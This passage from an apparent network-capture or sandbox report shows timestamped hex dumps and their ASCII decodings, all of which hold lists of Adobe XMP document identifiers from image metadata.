C9E0563B9428A1</rdf:li> <rdf:li>xmp.did:0180117407206811822AA7A319150968</rdf:li> <rdf:li>xmp.did:018011740720
6811822AD28A61319BAF</rdf:li> <rdf:li>xmp.did:01801174072

2022-06-08 07:56:16 UTC 4758 IN Data Raw: 78 6d 70 2e 64 69 64 3a 30 33 38 30 31 31 37 34 30 37 32 30 36 38 31 31 38 43 31 34 42 39 39 35 30 45 36 
44 39 32 32 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 33 38 30 31 31 37 34 
30 37 32 30 36 38 31 31 38 43 31 34 45 39 44 37 38 37 34 31 35 45 34 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6
c 69 3e 78 6d 70 2e 64 69 64 3a 30 33 38 30 31 31 37 34 30 37 32 30 36 38 31 31 38 44 42 42 45 32 42 39 41 30 41 35 
39 33 39 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 33 38 30 31 31 37 34 30 
37 32 30 36 38 31 31 38 44 42 42 45 35 43 38 43 43 42 34 42 41 36 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 
69 3e 78 6d 70 2e 64 69 64 3a 30 33 38 30 31 31 37 34 30 37 32 30 36 38 31 
Data Ascii: xmp.did:03801174072068118C14B9950E6D9222</rdf:li> <rdf:li>xmp.did:03801174072068118C14E9
D787415E48</rdf:li> <rdf:li>xmp.did:03801174072068118DBBE2B9A0A59392</rdf:li> <rdf:li>xmp.did:038011
74072068118DBBE5C8CCB4BA6C</rdf:li> <rdf:li>xmp.did:038011740720681

2022-06-08 07:56:16 UTC 4774 IN Data Raw: 31 38 33 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 38 38 30 31 31 
37 34 30 37 32 30 36 38 31 31 38 30 38 33 42 45 36 32 43 43 35 34 30 36 37 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 
66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 38 38 30 31 31 37 34 30 37 32 30 36 38 31 31 38 30 38 33 44 38 30 41 34 39 
42 41 35 37 32 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 38 38 30 31 31 37 3
4 30 37 32 30 36 38 31 31 38 30 38 33 44 41 34 42 44 38 45 31 45 44 45 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 
6c 69 3e 78 6d 70 2e 64 69 64 3a 30 38 38 30 31 31 37 34 30 37 32 30 36 38 31 31 38 30 38 33 45 32 43 43 33 34 43 34 
36 32 45 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 
Data Ascii: 183A</rdf:li> <rdf:li>xmp.did:08801174072068118083BE62CC540672</rdf:li> <rdf:li>xmp.did:0880117407
2068118083D80A49BA572B</rdf:li> <rdf:li>xmp.did:08801174072068118083DA4BD8E1EDE5</rdf:li> <rdf:li>xm
p.did:08801174072068118083E2CC34C462E8</rdf:li> <rdf:li>x

2022-06-08 07:56:16 UTC 4798 IN Data Raw: 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 42 46 46 38 34 46 38 36 36 46 46 44 45 31 31 38 43 42 42 39 35 44 42 
30 37 35 30 39 45 39 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 43 31 38 45 
30 35 36 42 38 36 32 31 31 45 30 39 37 31 34 38 37 32 43 38 32 32 44 41 35 36 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 6
4 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 43 32 42 30 32 32 36 30 38 32 30 36 38 31 31 42 34 42 43 43 32 41 38 45 
42 43 37 38 31 33 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 43 36 35 42 46 
39 41 45 34 36 43 31 31 44 46 41 35 36 31 46 41 36 31 37 42 43 41 32 35 36 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 
66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 43 37 31 42 35 42 37 30 42 32 30 
Data Ascii: li>xmp.did:0BFF84F866FFDE118CBB95DB07509E9F</rdf:li> <rdf:li>xmp.did:0C18E056B86211E0971
4872C822DA56B</rdf:li> <rdf:li>xmp.did:0C2B022608206811B4BCC2A8EBC78135</rdf:li> <rdf:li>xmp.did:0C6
5BF9AE46C11DFA561FA617BCA2565</rdf:li> <rdf:li>xmp.did:0C71B5B70B20

2022-06-08 07:56:16 UTC 4838 IN Data Raw: 36 45 30 31 31 39 44 33 35 42 38 35 42 37 45 32 45 39 45 45 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 
6c 69 3e 78 6d 70 2e 64 69 64 3a 31 44 32 35 32 35 35 44 33 32 32 30 36 38 31 31 39 39 34 43 44 31 30 31 31 42 33 31 
33 31 33 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 31 44 33 44 37 36 34 37 42 
43 32 30 36 38 31 31 41 38 39 39 41 43 30 41 39 39 38 35 31 34 37 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 6
9 3e 78 6d 70 2e 64 69 64 3a 31 44 35 34 31 39 30 31 44 46 34 42 45 30 31 31 42 33 41 32 42 38 45 39 32 34 39 46 31 
42 34 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 31 44 36 38 42 39 34 31 42 35 
32 35 36 38 31 31 38 32 32 41 46 44 38 45 36 43 42 44 39 38 43 38 3c 2f 
Data Ascii: 6E0119D35B85B7E2E9EE3</rdf:li> <rdf:li>xmp.did:1D25255D32206811994CD1011B31313A</rdf:li> <rdf:li>x
mp.did:1D3D7647BC206811A899AC0A99851472</rdf:li> <rdf:li>xmp.did:1D541901DF4BE011B3A2B8E9249F1B48</r
df:li> <rdf:li>xmp.did:1D68B941B5256811822AFD8E6CBD98C8</

2022-06-08 07:56:16 UTC 4854 IN Data Raw: 36 38 46 38 30 37 32 45 30 31 31 41 31 36 39 39 38 45 45 39 32 36 31 45 44 36 34 3c 2f 72 64 66 3a 6c 69 3e 
20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 32 43 36 46 30 30 30 34 43 45 32 30 36 38 31 31 41 42 30 38 39 44 
36 36 31 42 42 31 35 37 45 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 32 43 37 
36 37 37 44 42 38 34 32 45 45 30 31 31 38 32 44 37 45 36 37 38 41 37 36 45 32 32 38 46 3c 2f 72 64 66 3a 6c 69 3e 20 
3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 32 43 37 36 42 39 36 35 31 43 32 30 36 38 31 31 38 44 42 42 46 32 34 
31 43 45 34 46 37 37 34 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 32 43 38 31 
39 36 42 38 33 34 32 30 36 38 31 31 38 30 38 33 46 39 44 33 44 31 30 32 
Data Ascii: 68F8072E011A16998EE9261ED64</rdf:li> <rdf:li>xmp.did:2C6F0004CE206811AB089D661BB157E8</rdf:li> 
<rdf:li>xmp.did:2C7677DB842EE01182D7E678A76E228F</rdf:li> <rdf:li>xmp.did:2C76B9651C2068118DBBF241CE4F7
74B</rdf:li> <rdf:li>xmp.did:2C8196B8342068118083F9D3D102
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2022-06-08 07:56:17 UTC 6722 IN Data Raw: 38 38 46 36 46 45 46 46 30 45 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 
3a 33 32 42 43 43 33 37 31 36 41 34 33 45 30 31 31 42 34 35 42 41 42 44 41 43 37 34 38 43 46 30 32 3c 2f 72 64 66 3a 
6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 33 32 44 32 38 38 31 42 39 45 46 35 45 31 31 31 41 46 37 
46 38 38 38 34 31 45 33 34 41 43 44 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 3
3 32 44 38 36 38 38 41 35 41 32 30 36 38 31 31 38 30 38 33 42 38 42 46 36 43 39 43 45 35 42 31 3c 2f 72 64 66 3a 6c 69 
3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 33 32 44 39 30 41 34 45 35 42 32 34 45 33 31 31 38 31 33 36 45 
33 33 34 32 46 37 37 35 44 32 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 
Data Ascii: 88F6FEFF0E7</rdf:li> <rdf:li>xmp.did:32BCC3716A43E011B45BABDAC748CF02</rdf:li> <rdf:li>xmp.did:32D
2881B9EF5E111AF7F88841E34ACD8</rdf:li> <rdf:li>xmp.did:32D8688A5A2068118083B8BF6C9CE5B1</rdf:li> <rd
f:li>xmp.did:32D90A4E5B24E3118136E3342F775D22</rdf:li> <r

2022-06-08 07:56:17 UTC 6738 IN Data Raw: 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 34 30 42 42 35 42 45 35 31 39 32 30 36 38 31 31 
38 43 31 34 42 38 37 30 37 44 35 37 30 41 35 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 
69 64 3a 34 30 42 45 32 37 39 32 46 41 38 39 31 31 44 46 38 32 35 43 46 43 32 42 35 38 39 31 44 30 31 36 3c 2f 72 64 
66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 34 30 43 39 33 44 36 41 32 39 32 30 36 38 31 31 38 
44 42 42 38 42 31 34 32 36 46 37 37 32 41 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 
64 3a 34 30 44 30 46 35 37 33 39 43 32 30 36 38 31 31 41 37 42 41 39 32 42 38 33 35 35 42 44 41 31 36 3c 2f 72 64 66 
3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 34 30 45 31 
Data Ascii: i> <rdf:li>xmp.did:40BB5BE5192068118C14B8707D570A5C</rdf:li> <rdf:li>xmp.did:40BE2792FA8
911DF825CFC2B5891D016</rdf:li> <rdf:li>xmp.did:40C93D6A292068118DBB8B1426F772AD</rdf:li> <rdf:li>xmp
.did:40D0F5739C206811A7BA92B8355BDA16</rdf:li> <rdf:li>xmp.did:40E1

2022-06-08 07:56:17 UTC 6754 IN Data Raw: 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 35 30 44 43 32 44 42 33 42 44 43 36 44 46 31 31 38 34 30 
37 45 36 31 35 35 41 44 38 43 41 31 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 
35 30 45 41 34 30 46 32 35 31 32 30 36 38 31 31 38 44 42 42 42 34 36 39 35 30 34 41 39 42 33 34 3c 2f 72 64 66 3a 6c 6
9 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 35 30 46 39 35 42 31 45 30 42 32 30 36 38 31 31 38 41 36 44 
43 36 33 38 46 39 46 43 39 35 45 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 35 
30 63 30 37 33 62 30 2d 38 66 62 32 2d 34 34 63 32 2d 38 65 31 63 2d 37 63 34 62 37 61 30 61 62 37 32 36 3c 2f 72 64 
66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 35 30 63 
Data Ascii: <rdf:li>xmp.did:50DC2DB3BDC6DF118407E6155AD8CA1A</rdf:li> <rdf:li>xmp.did:50EA40F2512068
118DBBB469504A9B34</rdf:li> <rdf:li>xmp.did:50F95B1E0B2068118A6DC638F9FC95EE</rdf:li> <rdf:li>xmp.di
d:50c073b0-8fb2-44c2-8e1c-7c4b7a0ab726</rdf:li> <rdf:li>xmp.did:50c

2022-06-08 07:56:17 UTC 6762 IN Data Raw: 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 35 37 30 65 66 63 38 33 2d 66 39 63 31 2d 34 39 36 32 2d 
38 33 39 64 2d 62 32 39 30 66 30 39 62 61 32 62 65 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 
64 69 64 3a 35 37 33 36 30 64 30 61 2d 39 39 32 35 2d 34 65 61 34 2d 61 66 64 35 2d 66 30 61 39 66 64 65 31 32 34 37 
66 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 35 37 34 44 37 36 34 30 43 33 32 34 
36 38 31 31 38 46 36 32 44 37 33 32 32 46 41 38 31 36 35 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 
6d 70 2e 64 69 64 3a 35 37 35 37 65 39 38 35 2d 31 31 66 33 2d 62 39 34 62 2d 38 38 33 30 2d 66 61 65 39 64 30 64 63 
32 61 38 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 
Data Ascii: <rdf:li>xmp.did:570efc83-f9c1-4962-839d-b290f09ba2be</rdf:li> <rdf:li>xmp.did:57360d0a-9925-4ea4-afd5-
f0a9fde1247f</rdf:li> <rdf:li>xmp.did:574D7640C32468118F62D7322FA81655</rdf:li> <rdf:li>xmp.did:5757e985-11f3-
b94b-8830-fae9d0dc2a87</rdf:li> <rdf:li>xmp

2022-06-08 07:56:17 UTC 6778 IN Data Raw: 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 36 37 31 37 37 38 61 31 2d 38 32 
34 33 2d 34 30 32 64 2d 39 35 30 39 2d 30 39 32 38 32 65 35 31 38 35 33 65 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 
3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 36 37 33 36 37 32 33 43 34 44 37 35 31 31 45 30 38 42 35 35 39 37 36 44 38 35 33 
30 35 34 33 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 36 37 35 33 39 41 34 31 
35 39 42 39 44 44 31 31 39 38 38 35 38 31 33 31 38 46 31 37 38 43 34 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 
6c 69 3e 78 6d 70 2e 64 69 64 3a 36 37 35 38 41 39 31 45 36 46 32 31 36 38 31 31 41 37 42 41 46 38 45 44 34 30 46 44 
38 41 41 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 
Data Ascii: rdf:li> <rdf:li>xmp.did:671778a1-8243-402d-9509-09282e51853e</rdf:li> <rdf:li>xmp.did:6736723C4D75
11E08B55976D85305432</rdf:li> <rdf:li>xmp.did:67539A4159B9DD11988581318F178C4A</rdf:li> <rdf:li>xmp.
did:6758A91E6F216811A7BAF8ED40FD8AA9</rdf:li> <rdf:li>xmp

2022-06-08 07:56:17 UTC 6794 IN Data Raw: 44 36 37 44 31 31 45 30 42 30 43 34 45 32 44 30 42 35 43 33 30 41 44 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 
64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 37 35 43 31 38 46 37 31 44 36 37 44 31 31 45 30 42 30 43 34 45 32 44 30 42 
35 43 33 30 41 44 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 37 35 43 42 33 33 
30 30 45 33 32 30 36 38 31 31 38 34 44 35 44 39 44 37 38 32 41 39 44 37 34 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 
66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 37 35 44 32 41 42 33 46 31 33 32 30 36 38 31 31 38 30 38 33 45 44 43 46 30 37 
45 34 31 37 31 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 37 35 44 35 46 44 36 
35 46 36 39 37 45 35 31 31 42 30 36 33 39 42 32 45 36 30 44 34 45 39 39 
Data Ascii: D67D11E0B0C4E2D0B5C30AD4</rdf:li> <rdf:li>xmp.did:75C18F71D67D11E0B0C4E2D0B5C30AD4</rdf:li> 
<rdf:li>xmp.did:75CB3300E320681184D5D9D782A9D74C</rdf:li> <rdf:li>xmp.did:75D2AB3F132068118083ED
CF07E41711</rdf:li> <rdf:li>xmp.did:75D5FD65F697E511B0639B2E60D4E99

2022-06-08 07:56:17 UTC 6802 IN Data Raw: 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 37 46 32 34 35 45 36 35 41 35 32 32 36 38 31 31 38 32 32 
41 39 45 34 31 38 46 34 35 35 43 35 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 
37 46 35 36 32 45 35 46 30 43 32 30 36 38 31 31 38 41 36 44 43 36 33 38 46 39 46 43 39 35 45 45 3c 2f 72 64 66 3a 6c 6
9 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 37 46 41 41 46 46 43 36 30 37 32 30 36 38 31 31 38 43 31 34 
41 30 45 42 30 30 45 36 39 43 45 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 37 
46 43 43 32 41 34 37 42 41 32 33 36 38 31 31 38 41 36 44 43 36 37 33 30 34 46 38 33 36 36 39 3c 2f 72 64 66 3a 6c 69 
3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 37 46 44 38 41 39 37 
Data Ascii: <rdf:li>xmp.did:7F245E65A5226811822A9E418F455C5D</rdf:li> <rdf:li>xmp.did:7F562E5F0C2068
118A6DC638F9FC95EE</rdf:li> <rdf:li>xmp.did:7FAAFFC6072068118C14A0EB00E69CED</rdf:li> <rdf:li>xmp.di
d:7FCC2A47BA2368118A6DC67304F83669</rdf:li> <rdf:li>xmp.did:7FD8A97

2022-06-08 07:56:17 UTC 6818 IN Data Raw: 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 38 43 46 38 37 37 42 38 30 37 32 30 36 38 31 31 39 32 42 30 45 39 
30 44 30 34 38 45 41 37 32 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 38 43 46 
38 45 41 39 31 45 32 32 30 36 38 31 31 42 34 31 30 44 35 36 46 37 30 31 32 34 35 33 34 3c 2f 72 64 66 3a 6c 69 3e 20 
3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 38 44 30 32 33 43 39 32 44 35 42 43 45 32 31 31 41 41 33 37 44 38 32 
45 39 38 31 38 41 34 31 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 38 44 33 37 
34 32 33 46 44 36 42 41 45 31 31 31 39 43 46 36 42 38 41 43 32 46 43 31 32 45 41 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 
72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 38 44 33 39 39 39 32 46 42 37 
Data Ascii: f:li>xmp.did:8CF877B80720681192B0E90D048EA72C</rdf:li> <rdf:li>xmp.did:8CF8EA91E2206811B
410D56F70124534</rdf:li> <rdf:li>xmp.did:8D023C92D5BCE211AA37D82E9818A41F</rdf:li> <rdf:li>xmp.did:8
D37423FD6BAE1119CF6B8AC2FC12EAE</rdf:li> <rdf:li>xmp.did:8D39992FB7
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2022-06-08 07:56:17 UTC 6834 IN Data Raw: 32 32 41 46 30 44 43 31 35 41 42 35 36 46 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 
2e 64 69 64 3a 39 41 34 38 37 36 36 43 30 39 32 30 36 38 31 31 39 35 42 42 38 45 32 44 39 39 41 36 37 36 44 36 3c 2f 
72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 39 41 34 38 43 42 45 45 33 44 32 35 36 38 31 
31 38 44 42 42 39 32 38 31 39 30 38 37 30 44 41 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 6
4 69 64 3a 39 41 34 41 36 44 45 46 36 44 39 41 31 31 45 31 38 35 43 45 38 43 37 37 41 38 44 30 30 38 34 38 3c 2f 72 
64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 39 41 35 33 43 39 42 33 43 46 42 41 45 32 31 31 
41 35 46 37 42 33 31 36 36 43 30 32 46 39 30 31 3c 2f 72 64 66 3a 6c 69 
Data Ascii: 22AF0DC15AB56FB</rdf:li> <rdf:li>xmp.did:9A48766C0920681195BB8E2D99A676D6</rdf:li> <rdf:li>xmp.did
:9A48CBEE3D2568118DBB928190870DAB</rdf:li> <rdf:li>xmp.did:9A4A6DEF6D9A11E185CE8C77A8D00848</rdf:li> 
<rdf:li>xmp.did:9A53C9B3CFBAE211A5F7B3166C02F901</rdf:li

2022-06-08 07:56:17 UTC 6841 IN Data Raw: 6c 69 3e 78 6d 70 2e 64 69 64 3a 41 32 43 38 46 34 34 30 37 44 32 32 36 38 31 31 39 37 41 35 45 34 46 36 
45 38 44 43 41 45 38 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 41 32 44 30 30 
37 31 30 31 35 32 30 36 38 31 31 38 30 38 33 45 33 37 37 35 30 34 46 31 35 42 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 6
4 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 41 32 44 44 39 32 41 30 37 44 32 30 36 38 31 31 39 32 42 30 44 30 41 37 35 
38 31 35 46 38 41 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 41 32 46 32 45 37 
30 33 41 39 32 36 45 31 31 31 39 33 46 46 43 31 31 30 46 34 46 36 46 35 34 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 
66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 41 33 30 31 42 44 36 42 45 32 32 30 
Data Ascii: li>xmp.did:A2C8F4407D22681197A5E4F6E8DCAE8F</rdf:li> <rdf:li>xmp.did:A2D0071015206811808
3E377504F15BF</rdf:li> <rdf:li>xmp.did:A2DD92A07D20681192B0D0A75815F8A6</rdf:li> <rdf:li>xmp.did:A2F
2E703A926E11193FFC110F4F6F54D</rdf:li> <rdf:li>xmp.did:A301BD6BE220

2022-06-08 07:56:17 UTC 6857 IN Data Raw: 38 31 31 41 43 41 46 39 42 46 30 33 34 33 42 37 39 31 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 
3e 78 6d 70 2e 64 69 64 3a 42 42 39 41 35 41 44 31 36 42 32 30 36 38 31 31 41 39 45 46 43 33 35 37 44 46 31 45 34 34 
44 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 42 42 39 42 44 44 37 44 31 41 32 
30 36 38 31 31 38 30 38 33 46 37 36 41 34 38 42 45 35 34 41 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 7
8 6d 70 2e 64 69 64 3a 42 42 41 33 34 31 42 33 30 42 32 30 36 38 31 31 38 30 38 33 44 38 36 43 41 31 35 46 41 46 33 
42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 42 42 41 44 39 45 44 46 32 41 33 36 
45 35 31 31 42 32 32 36 41 41 42 37 41 43 31 36 30 36 32 36 3c 2f 72 64 
Data Ascii: 811ACAF9BF0343B791B</rdf:li> <rdf:li>xmp.did:BB9A5AD16B206811A9EFC357DF1E44DE</rdf:li> <
rdf:li>xmp.did:BB9BDD7D1A2068118083F76A48BE54AC</rdf:li> <rdf:li>xmp.did:BBA341B30B2068118083D86CA15
FAF3B</rdf:li> <rdf:li>xmp.did:BBAD9EDF2A36E511B226AAB7AC160626</rd

2022-06-08 07:56:17 UTC 6873 IN Data Raw: 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 44 32 31 37 45 43 31 35 45 38 32 30 36 38 31 31 41 42 
30 38 39 44 36 36 31 42 42 31 35 37 45 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 
3a 44 32 31 44 37 42 32 35 46 34 36 36 45 31 31 31 38 43 46 46 38 44 46 31 32 35 45 31 36 32 42 38 3c 2f 72 64 66 3a 
6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 44 32 32 34 46 44 34 31 44 43 39 32 45 30 31 31 41 37 44 
38 42 34 45 41 33 43 43 44 39 31 38 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 
44 32 33 30 39 34 46 41 42 45 32 31 36 38 31 31 38 41 36 44 45 33 32 44 43 45 37 38 35 34 30 35 3c 2f 72 64 66 3a 6c 
69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 44 32 34 31 45 34 
Data Ascii:  <rdf:li>xmp.did:D217EC15E8206811AB089D661BB157E8</rdf:li> <rdf:li>xmp.did:D21D7B25F466E
1118CFF8DF125E162B8</rdf:li> <rdf:li>xmp.did:D224FD41DC92E011A7D8B4EA3CCD9187</rdf:li> <rdf:li>xmp.d
id:D23094FABE2168118A6DE32DCE785405</rdf:li> <rdf:li>xmp.did:D241E4

2022-06-08 07:56:17 UTC 6881 IN Data Raw: 38 36 37 39 38 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 44 41 36 36 
44 41 43 42 30 37 32 30 36 38 31 31 39 32 42 30 45 39 30 44 30 34 38 45 41 37 32 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 
72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 44 41 37 31 44 39 34 33 32 30 33 32 31 31 36 38 41 45 35 36 41 39 33 41 
42 46 30 32 34 39 45 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 44 41 39 43 37 4
5 46 31 39 35 32 30 36 38 31 31 38 33 44 31 38 45 41 41 46 31 33 35 44 32 42 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 
64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 44 41 41 41 36 34 37 38 44 44 42 31 44 46 31 31 42 34 41 35 43 33 30 36 41 
37 30 36 35 41 45 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 
Data Ascii: 86798B</rdf:li> <rdf:li>xmp.did:DA66DACB0720681192B0E90D048EA72C</rdf:li> <rdf:li>xmp.did:DA71D943
20321168AE56A93ABF0249E4</rdf:li> <rdf:li>xmp.did:DA9C7EF19520681183D18EAAF135D2B3</rdf:li> <rdf:li>
xmp.did:DAAA6478DDB1DF11B4A5C306A7065AEB</rdf:li> <rdf:li

2022-06-08 07:56:17 UTC 6897 IN Data Raw: 64 69 64 3a 46 34 42 33 36 44 37 31 31 31 32 31 36 38 31 31 39 32 42 30 45 33 38 46 37 43 38 32 33 35 32 
36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 34 45 37 32 42 44 43 43 45 37 30 
45 37 31 31 42 36 35 31 45 35 46 46 36 34 45 45 33 32 38 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6
d 70 2e 64 69 64 3a 46 35 31 36 37 38 38 41 34 36 33 42 45 34 31 31 41 44 35 33 38 45 45 30 34 39 32 42 32 34 45 45 
3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 35 31 37 34 36 43 38 34 35 38 34 45 
34 31 31 41 33 34 33 43 44 42 42 44 41 32 38 43 37 41 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 
70 2e 64 69 64 3a 46 35 31 45 39 43 33 36 31 38 32 30 36 38 31 31 41 36 31 
